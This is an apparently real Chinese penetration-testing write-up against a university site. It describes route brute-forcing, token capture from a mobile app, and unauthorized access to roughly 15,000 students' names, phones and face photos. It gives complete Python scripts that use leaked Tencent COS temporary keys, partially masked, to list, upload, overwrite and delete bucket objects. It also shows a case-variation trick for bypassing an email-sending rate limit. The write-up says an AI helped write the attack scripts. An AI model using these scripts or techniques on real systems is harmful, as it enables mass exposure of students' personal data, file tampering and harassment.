记一次EDU的空白页渗透
从一次EDU信息收集发现的空白页说起:路由爆破定位后台路径,真机免ROOT抓包获取token实现越权,进而拿到全校学生姓名手机号人脸;又从上传接口挖出腾讯云COS临时密钥泄露,列桶4万余条对象并验证任意上传覆盖;最后附一个大小写变形绕过邮箱发送限制的短信轰炸。
信息收集
首先,通过fofa,hunter信息收集发现了如下资产
https://xxxx.edu.cn:8081
https://xxxx.edu.cn:9443

但是直接访问发现显示路由校验失败
不是显示没有授权、404而是路由校验失败
所以这里猜测如果有了合适的路由大概率就能够正常访问了
于是在这个思路的加持下打算点一下上帝之眼查看具体路径
然后复制全部路径放BP里进行爆破

爆破下发现都是200,我都以为要出货了,没想到访问后显示需要登录(bushi)

随便调了一个URL https://xxxxxx.edu.cn:8081/subpages/admin/home/home

发现显示报错;没辙了只能把接口发给ai做进一步测试
AI果然还是厉害,发现这个路径还隐藏了一个token参数
https://xxxxxxx.edu.cn:8081/subpages/admin/home/home?token=
同时因为这个网站同样也是某APP的HOST
那现在就有思路了,只要我用手机抓包,然后获得COOKIE后再拼接到token后,那不就能做进一步测试了
这里因为这个APP并没有进行虚拟机校验,所以我这里采用的方法是使用小黄鸟和BP联动,能够直接将手机端APP的流量直接导入至Brup中

然后就能愉快的开始抓包了~
漏洞发现
1、越权获取全校学生手机号、姓名、人脸
回到最开始的URL,我们既然获取到了token肯定就能测了,

虽然显示获取失败,但是它都说我是管理员了,我肯定能访问一点接口吧
然后挨个点点发现了在学生信息查询这里
直接查询成功

经过初步测试发现,通过越权能看到整个学校大概1w5同学姓名、手机号、头像
2、存储桶任意文件上传、覆盖、列桶
既然能抓包了肯定得到处看看
在工单提交界面发现了个文件上传的接口

上传一下

wok!出货了
这不就是标准的存储桶临时密钥泄露
火速喊ai搓个脚本然后遍历下
from qcloud_cos import CosConfig, CosS3Client
# =========================
# COS 存储桶配置
# =========================
BUCKET = "sport-88888888"
REGION = "ap-guangzhou"
# =========================
# 临时密钥配置
# 填入你的临时密钥
# =========================
TMP_SECRET_ID = "AKIDHMbIQpWwh*********a4uajnZbYSDH"
TMP_SECRET_KEY = "r7ftHbfJuyrjTR********QnUfaSi1ejtA10="
SESSION_TOKEN = "yw5CienBBXFVR3j73Cz0w********wGq8XhkQ"
def list_bucket(prefix: str = "", max_keys: int = 1000, output_file: str = "cos_urls.txt"):
config = CosConfig(
Region=REGION,
SecretId=TMP_SECRET_ID,
SecretKey=TMP_SECRET_KEY,
Token=SESSION_TOKEN,
Scheme="https"
)
client = CosS3Client(config)
marker = ""
total = 0
print(f"[+] Bucket: {BUCKET}")
print(f"[+] Region: {REGION}")
print(f"[+] Prefix: {prefix if prefix else '(根目录)'}")
print(f"[+] URL 输出文件: {output_file}")
print("=" * 80)
with open(output_file, "w", encoding="utf-8") as f:
while True:
response = client.list_objects(
Bucket=BUCKET,
Prefix=prefix,
Marker=marker,
MaxKeys=max_keys
)
contents = response.get("Contents", [])
for item in contents:
key = item.get("Key")
size = item.get("Size")
last_modified = item.get("LastModified")
storage_class = item.get("StorageClass", "")
total += 1
url = f"https://{BUCKET}.cos.{REGION}.myqcloud.com/{key}"
# 控制台输出详情
print(f"[{total}] {key}")
print(f" Size: {size} bytes")
print(f" LastModified: {last_modified}")
print(f" StorageClass: {storage_class}")
print(f" URL: {url}")
print("-" * 80)
# 只把 URL 写入 txt,一行一个
f.write(url + "\n")
is_truncated = response.get("IsTruncated")
if is_truncated == "true" or is_truncated is True:
marker = response.get("NextMarker")
if not marker:
break
else:
break
print(f"[+] 列桶完成,共发现 {total} 个对象")
print(f"[+] URL 已保存到: {output_file}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Tencent COS 临时密钥列桶并导出 URL")
parser.add_argument(
"--prefix",
default="",
help="只列出指定前缀下的对象,例如 H5_file/、test/、uploads/。默认列根目录"
)
parser.add_argument(
"--max-keys",
type=int,
default=1000,
help="每次请求返回数量,最大通常为 1000"
)
parser.add_argument(
"--output",
default="cos_urls.txt",
help="导出的 URL 文件名,默认 cos_urls.txt"
)
args = parser.parse_args()
list_bucket(
prefix=args.prefix,
max_keys=args.max_keys,
output_file=args.output
)成功列出44252条存储桶数据

在有了具体的路径,可以通过已知的路径直接进行覆盖,具体的上传脚本如下
# -*- coding: utf-8 -*-
"""
腾讯云 COS 临时密钥文件管理脚本(修复代理版)
修复:
1. 强制关闭 requests 环境代理
2. 禁止 WinHTTP/系统代理影响 COS SDK
3. 打印实际代理配置方便排查
"""
import argparse
import os
# 强制清理环境代理
for k in [
"HTTP_PROXY",
"HTTPS_PROXY",
"http_proxy",
"https_proxy",
"ALL_PROXY",
"all_proxy",
]:
os.environ.pop(k, None)
from qcloud_cos import CosConfig, CosS3Client
BUCKET = "sport-1******"
REGION = "ap-guangzhou"
TMP_SECRET_ID = "AKIDyZcXif*****Mz2C2nqFeu1f52F9f7oP5bhH6wdNIJO"
TMP_SECRET_KEY = "9mvdJ53Wp2jh******+/QpiHo0eCT7UeRo="
SESSION_TOKEN = "unYwrGxsLBLaj6G******lFBX3WBASrLAsMH44KDwds1snsmjjTNvJWVG96Zyo2H9oTA"
def get_client():
config = CosConfig(
Region=REGION,
SecretId=TMP_SECRET_ID,
SecretKey=TMP_SECRET_KEY,
Token=SESSION_TOKEN,
Scheme="https",
Proxies={}
)
client = CosS3Client(config)
# 强制 requests 不读取系统代理
client._session.trust_env = False
print("[DEBUG] COS Proxy:")
print(client._conf._proxies)
return client
def upload_file(local_file, cos_key):
client = get_client()
if not os.path.exists(local_file):
print("[!] 文件不存在:", local_file)
return
print("[+] 开始上传")
print("本地文件:", local_file)
print("COS路径:", cos_key)
with open(local_file, "rb") as f:
response = client.put_object(
Bucket=BUCKET,
Body=f,
Key=cos_key
)
print("\n[+] 上传成功")
print("ETag:", response.get("ETag"))
url = f"https://{BUCKET}.cos.{REGION}.myqcloud.com/{cos_key}"
print("URL:")
print(url)
def delete_file(cos_key):
client = get_client()
print("[+] 删除:", cos_key)
response = client.delete_object(
Bucket=BUCKET,
Key=cos_key
)
print("[+] 删除完成")
print(response)
def check_file(cos_key):
client = get_client()
try:
response = client.head_object(
Bucket=BUCKET,
Key=cos_key
)
print("[+] 文件存在")
print(response)
except Exception as e:
print("[-] 文件不存在")
print(e)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="腾讯云 COS 临时密钥上传删除工具"
)
sub = parser.add_subparsers(dest="action")
upload = sub.add_parser("upload")
upload.add_argument("--file", required=True)
upload.add_argument("--key", required=True)
delete = sub.add_parser("delete")
delete.add_argument("--key", required=True)
check = sub.add_parser("check")
check.add_argument("--key", required=True)
args = parser.parse_args()
if args.action == "upload":
upload_file(
args.file,
args.key
)
elif args.action == "delete":
delete_file(
args.key
)
elif args.action == "check":
check_file(
args.key
)
else:
parser.print_help()
访问可发现上传成功

当我们使用脚本修改a.txt再次上传后

我们能够发现能够成功覆盖
通过该脚本也可以使用delete进行任意文件删除
具体命令如下 python a.py delete --key H5_file/abcsdf.txt


3、短信轰炸
在模拟器安装证书之后,
登录后点击设置---->修改邮箱

输入邮箱然后进行抓包
具体数据包如下
PUT /user/2300130501/ HTTP/1.1
Authorization: ******
user-agent: Mozilla/5.0 (Linux; Android 14; RMX5200 Build/UQ1A.240205.06151050; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/146.0.7680.119 Safari/537.36 uni-app Html5Plus/1.0 (Immersed/24.0)
Content-Type: application/json
Content-Length: 31
Host: *******.edu.cn:9443
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
{"email":"【填入邮箱】"}如果正常发包在第11个数据包会出现500报错,具体报错如下

这里可以构造大小写不同但是发送内容是一致的邮箱进行绕过
比如
A13*****975@163.com
A13*****975@163.COM
a13*****975@163.CoM
a13*****975@163.COm
.....其中acom均可使用大小写进行绕过,四个可排列组合共16种,可绕过单个邮箱10次限制
